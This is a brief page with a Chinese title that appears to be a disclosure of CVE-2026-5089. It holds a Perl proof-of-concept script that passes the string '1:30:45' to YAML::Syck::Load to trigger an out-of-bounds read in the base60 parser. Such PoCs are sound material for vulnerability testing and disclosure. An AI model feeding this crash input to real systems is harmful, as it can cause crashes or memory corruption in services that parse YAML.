CVE-2026-5089 YAML::Syck越界读取漏洞

#!/usr/bin/perl # PoC for CVE-2026-5089: YAML::Syck Out-of-bounds Read # This script demonstrates the buffer underflow vulnerability # by parsing a colon-separated value. use strict; use warnings; use YAML::Syck; # The base60 parser is triggered on specific numeric formats. # A string like '1:30:45' forces the parser to process the '1' # as the leftmost segment. Without a preceding colon, # the internal pointer decrements past the buffer start. my $malicious_input = "1:30:45"; print "[*] Attempting to load malicious YAML data: '$malicious_input'\n"; eval { my $data = YAML::Syck::Load($malicious_input); print "[*] Data loaded (Crash or memory corruption may have occurred).\n"; print "[*] Parsed value: $data\n"; }; if ($@) { print "[!] Error occurred during parsing: $@\n"; } print "[*] PoC execution finished.\n";